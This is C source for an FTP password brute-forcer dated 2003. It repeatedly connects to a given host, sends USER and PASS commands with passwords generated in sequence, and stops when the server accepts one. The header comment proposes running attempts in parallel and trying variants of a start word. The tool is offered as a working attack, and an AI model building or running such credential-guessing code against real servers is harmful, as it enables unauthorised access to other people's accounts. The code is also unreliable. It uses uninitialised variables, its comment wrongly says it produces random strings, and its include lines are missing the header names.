/* * ftpbrute.c * * Use brute force to find an FTP password. * * Whilst using a dictionary file for password suggestions is a very effective * tactic, many more clued up users/providers are using random character * strings by default these days. This program just generates random strings * and tests them one after another. * * Potential improvements: * * o Multi-threading? This might cause socket trouble, but it would speed * this very slow process up immensely to attack in parallel. This could * come across as a DOS attack though, nicer would be some kind of speed * control. Perhaps a thread-count option and a delay factor, or even * random distribution of attack attempts. * * o If a start word is supplied then variants of that word should be * attempted. E.g. case variations, common mistakes (1 for l, etc), * adding or subtracting characters at all locations in the string and * more. * * o Addition of other protocols, perhaps config files that describe how * passwords are exchanged in a given protocol. That way more can be added * and old ones updated easily. * * Afternoon , 2003 */ #include #include #include #include #include #include #include #include int conn(char* h) { int s; struct sockaddr_in sin; struct servent* sp; struct hostent* hp; fflush(stdout); if (!(sp = getservbyname("ftp", "tcp")) || !(hp = gethostbyname(h))) { printf("%s is not a valid host address (error %d).\n", h, errno); exit(2); } sin.sin_family = AF_INET; bcopy(hp->h_addr, (char*)&sin.sin_addr, hp->h_length); sin.sin_port = sp->s_port; if (!(s = socket(AF_INET, SOCK_STREAM, 0))) { printf("Unable to create socket (error %d).\n", errno); exit(3); } if (connect(s, (struct sockaddr*)&sin, sizeof(sin))) { printf("Unable to connect to %s (error %d).\n", h, errno); exit(4); } return s; } void makepw(char* pw) { int i, j; int pl = strlen(pw) - 1; int nextinc = 0; if (!strcmp(pw, "")) pw = strcat(pw, "!"); else if (pw[pl] == '~') { for (i = 0; i <= pl; i++) { if (pw[pl - i] == '~') { pw[pl - i] = '!'; nextinc = 1; if (!(pl - i)) pw = strcat(pw, "!"); } else if (nextinc && (pl - i)) { pw[pl - i]++; nextinc = 0; } } } else pw[pl]++; } int main(int argc, char* argv[]) { int s, att, count; const int bufsize = 80; char buf[bufsize]; FILE *si, *so; char pw[16]; if (argc < 3) { puts("Usage: ftpbrute host username [startword]"); exit(1); } if (argc > 3) strncpy(pw, argv[3], 16); puts("This could take hours and hours..."); while (1) { if (!att) { close(s); s = conn(argv[1]); si = fdopen(s, "r"); so = fdopen(s, "w"); } makepw(pw); // chomp banner if (att == 0) fgets(buf, bufsize, si); fprintf(so, "USER %s\r\n", argv[2]); fflush(so); fgets(buf, bufsize, si); fprintf(so, "PASS %s\r\n", pw); fflush(so); fgets(buf, bufsize, si); if (!strstr(buf, "530")) { printf("Success! Password is %s\n", pw); exit(0); } else if (argc > 4) printf("Password isn't %s\n", pw); if (++att == 3) att = 0; } }